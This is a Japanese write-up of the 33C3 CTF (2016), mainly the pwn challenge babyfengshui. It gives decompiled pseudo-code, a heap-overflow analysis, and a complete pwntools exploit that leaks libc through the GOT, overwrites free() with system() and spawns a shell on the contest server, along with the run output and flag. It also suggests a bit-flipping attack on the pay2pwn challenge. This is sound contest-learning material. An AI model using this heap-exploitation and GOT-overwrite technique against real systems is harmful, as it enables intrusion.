33C3 CTF - babyfengshui (pwn150) ほかの writeup
2016/12/29 5:00から48時間開催の33C3 CTFにPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。
- babyfengshui (pwn150)
- exfill (for100)
- pdfmacker (misc75)
で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。
babyfengshui
ユーザー管理をする帳簿を模したプログラムがpwnの対象。
疑似Cコード:
struct STRUCT_USERS { STRUCT_USER* user; }; struct STRUCT_USER { // char* description; char* text; // char[] name; // size = 0x7c }; // size = 0x80 users[0]->name == users + 4 int number_of_X; // 0x804b069, starts with 0 STRUCT_USERS users; // 0x804b080 void getText(char* arg0, int arg1) { // 0x80486bb var_C = *0x14; fgets(arg0, arg1, *stdin); var_10 = strchr(arg0, 0xa); if (var_10 != 0x0) { *(int8_t *)var_10 = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Update(int arg0) { var_1C = arg0; var_C = *0x14; if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit; loc_804875e: printf("text length: "); // __isoc99_scanf("%u%c", 0x0, var_11); __isoc99_scanf("%u%c", 0x0, var_11, var_10); // esp = (esp - 0xc - 0x4) + 0x10; if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax; loc_80487cd: printf("text: "); getText(users[var_1C]->text, 0x7c); goto update_exit;u update_exit: eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } void Add(int arg0) { var_C = *0x14; var_14 = malloc(arg0); // arg0 is desicription size memset(var_14, 0x0, arg0); var_10 = malloc(0x80); memset(var_10, 0x0, 0x80); *var_10 = var_14; // users[i]->text = var_14 users[number_of_X] = var_10; printf("name: "); eax = *(int8_t *)number_of_X & 0xff; eax = *((eax & 0xff) * 0x4 + users); getText(eax + 0x4, 0x7c); number_of_X += 1; Update(number_of_X - 1); eax = var_10; ecx = var_C ^ *0x14; COND = ecx == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Delete { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); eax = *eax; free(eax); eax = *((var_1C & 0xff) * 0x4 + users); free(eax); *((var_1C & 0xff) * 0x4 + users) = 0x0; } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } function Display { var_1C = arg0; var_C = *0x14; if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) { eax = *((var_1C & 0xff) * 0x4 + users); printf("name: %s\n", users[var_1C]->name); // eax = *((var_1C & 0xff) * 0x4 + users); // eax = *eax; printf("description: %s\n", users[var_1C]->description); } eax = var_C ^ *0x14; COND = eax == 0x0; if (!COND) { eax = __stack_chk_fail(); } return eax; } int main() { eax = *stdin; setvbuf(eax, 0x0, 0x2, 0x0); eax = *stdout; setvbuf(eax, 0x0, 0x2, 0x0); alarm(0x14); esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; goto loc_8048a68; loc_8048a68: puts("0: Add a user"); puts("1: Delete a user"); puts("2: Display a user"); puts("3: Update a user description"); puts("4: Exit"); printf("Action: "); esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10; if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb; loc_8048ae1: eax = exit(0x1); return eax; loc_8048aeb: if (var_14 == 0x0) { printf("size of description: "); __isoc99_scanf("%u%c", var_10, var_15); Add(var_10); esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x1) { printf("index: "); __isoc99_scanf("%d", var_10); Delete(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x2) { printf("index: "); __isoc99_scanf("%d", var_10); Display(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 == 0x3) { printf("index: "); __isoc99_scanf("%d", var_10); Update(var_10 & 0xff); esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10; } if (var_14 != 0x4) goto loc_8048c05; loc_8048beb: puts("Bye"); eax = exit(0x0); return eax; loc_8048c05: if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68; loc_8048c14: puts("maximum capacity exceeded, bye"); eax = exit(0x0); return eax; }
思考
- 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
- free()の後にポインタをNull化しているため、double freeやUAF不可
- ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す
思い込み(意図的に作り込まれたバグ)
if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd; loc_80487b3: // ex. var_11 == 1145141919 puts("my l33t defenses cannot be fooled, cya!"); eax = exit(0x1); return eax;
このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。
方針
- ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
- GOT書き換えからの
system("/bin/sh")
呼び出し(上図の(4))free(buf)
をsystem("/bin/sh")
と同等にする
Exploit Code
from pwn import * from sys import argv from os import system BIN = "./babyfengshui" BIN_PATCHED = BIN + ".patched" def bp(): global REMOTE if not REMOTE: raw_input("break point: ") PATCH = False REMOTE = False if len(argv) > 1: if argv[1] == "patch": PATCH = True elif argv[1] == "r": REMOTE = True """ 08048a5e 6A14 push 0x14 ; argument "seconds" for method j_alarm 08048a60 E8ABFAFFFF call j_alarm """ if PATCH: with open(BIN) as f: b = f.read() b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF") with open(BIN_PATCHED, "wb") as f2: f2.write(b) system("chmod +x " + BIN_PATCHED) exit() r = None # e = ELF(BIN) offset = {} if REMOTE: """ [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@" 640: 0004cc50 52 FUNC GLOBAL DEFAULT 12 printf@@GLIBC_2.0 [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system" 1443: 0003e3e0 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0 [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$" 15f551 /bin/sh """ r = remote("78.46.224.83", 1456) offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551} else: """ [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@" 647: 0004a020 42 FUNC GLOBAL DEFAULT 13 printf@@GLIBC_2.0 [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@" 1460: 0003af40 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0 [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$" 15ef08 /bin/sh """ # r = process(BIN_PATCHED) r = process(BIN) offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08} count = 0 def Add(size_description, name, size_text, text): global count r.recvuntil("Action: ") r.sendline("0") r.recvuntil("size of description: ") r.sendline(str(size_description)) r.recvuntil("name: ") r.sendline(name) r.recvuntil("text length: ") r.sendline(str(size_text)) res = r.recv(1024) if res == "my l33t defenses cannot be fooled, cya!\n": log.error("GAME OVER: %s" % res.strip('\n')) exit() r.sendline(text) count += 1 def Delete(index): r.recvuntil("Action: ") r.sendline("1") r.recvuntil("index: ") r.sendline(str(index)) def Display(index): r.recvuntil("Action: ") r.sendline("2") r.recvuntil("index: ") r.sendline(str(index)) name = r.recvline().split(':')[1][1:].strip('\n') description = r.recvline().split(':')[1][1:].strip('\n') return (name, description) def Update(index, size_text, text): r.recvuntil("Action: ") r.sendline("3") r.recvuntil("index: ") r.sendline(str(index)) r.recvuntil("text length: ") r.sendline(str(size_text)) r.recvuntil("text: ") r.sendline(text) def Exit(): r.recvuntil("Action: ") r.sendline("4") r.recvuntil("Bye\n") def DisplayAll(): for i in range(count): name, description = Display(i) print "[%2d] name = %r (%#x)" % (i, name, len(name)) print "[%2d] description = %r (%#x)" % (i, description, len(description)) # context.log_level = 'debug' plt = {"fgets": 0x8048500, "strchr": 0x08048560} """ gdb-peda$ x/i 0x08048560 0x8048560 <strchr@plt>: jmp DWORD PTR ds:0x804b02c """ got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c} # name_len = 0x7b name_len = 0x10 # anti 20 sec limit # bp() log.info("=== [prepare] ===") # (1)から(3)まで Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0 Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1 Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2 Delete(0) # DisplayAll() log.info("=== [info leak] ===") LEAK_FUNC = "printf" Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "A"*4, # chunk header p32(got[LEAK_FUNC]), # "LEAK", ])) DisplayAll() name, description = Display(1) print "description = %r" % description addr = u32(description[:4]) libc_base_addr = addr - offset[LEAK_FUNC] system_addr = libc_base_addr + offset["system"] bin_sh_addr = libc_base_addr + offset["/bin/sh"] print "libc base address = %#x" % libc_base_addr print "%s() = %#x" % (LEAK_FUNC, addr) print "system() = %#x" % system_addr print "'/bin/sh' = %#x" % bin_sh_addr log.info("=== [got overwrite] ===") # (4) Update(3, 0x90+32+8, ''.join([ # 3 "D"*(0x90+28), # padding "X"*4, # chunk header # p32(got["strchr"]), # X() p32(got["free"]), # X() "GOTw", ])) # DisplayAll() bp() Update(1, 10, p32(system_addr)) # X() <= system() log.info("=== [trigger shell] ===") Delete(2) # system("/bin/sh") context.log_level = 'warn' r.interactive()
20秒制限があるため、通信は手短に済まさねばならない点がポイント。
[katc@K_atc babyfengshui]$ python2 babyfengshui.py r [+] Opening connection to 78.46.224.83 on port 1456: Done [*] === [prepare] === [*] === [info leak] === [ 0] name = 'Add a user' (0xa) [ 0] description = 'Delete a user' (0xd) [ 1] name = 'LEAK' (0x4) [ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34) [ 2] name = '3333333333333333' (0x10) [ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23) [ 3] name = '4444444444444444' (0x10) [ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8) description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' libc base address = 0xf75b1000 printf() = 0xf75fdc50 system() = 0xf75ef3e0 '/bin/sh' = 0xf7710551 [*] === [got overwrite] === [*] === [trigger shell] === babyfengshui flag.txt 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
exfill
DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pdfmaker
最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。
具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。
pay2pwnのアシスト内容
クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。
リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040 http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040
タイミングによらず、未購入であれば同じdataが入りそうだ。
次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。
### 4929990005949674 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040 ### 4024007103302005 http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040
注意深く見ると、次のことが分かる。
- dataはhexエンコードされたデータ。暗号文の可能性が高い
- 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる
dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。
うちのチームの新人くん、彼にとって初めてであろう解き方を教えたら30分位であっさり解いてしまって才能を感じる
— 友利奈緒ちゃん (@K_atc) 2016年12月29日
ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…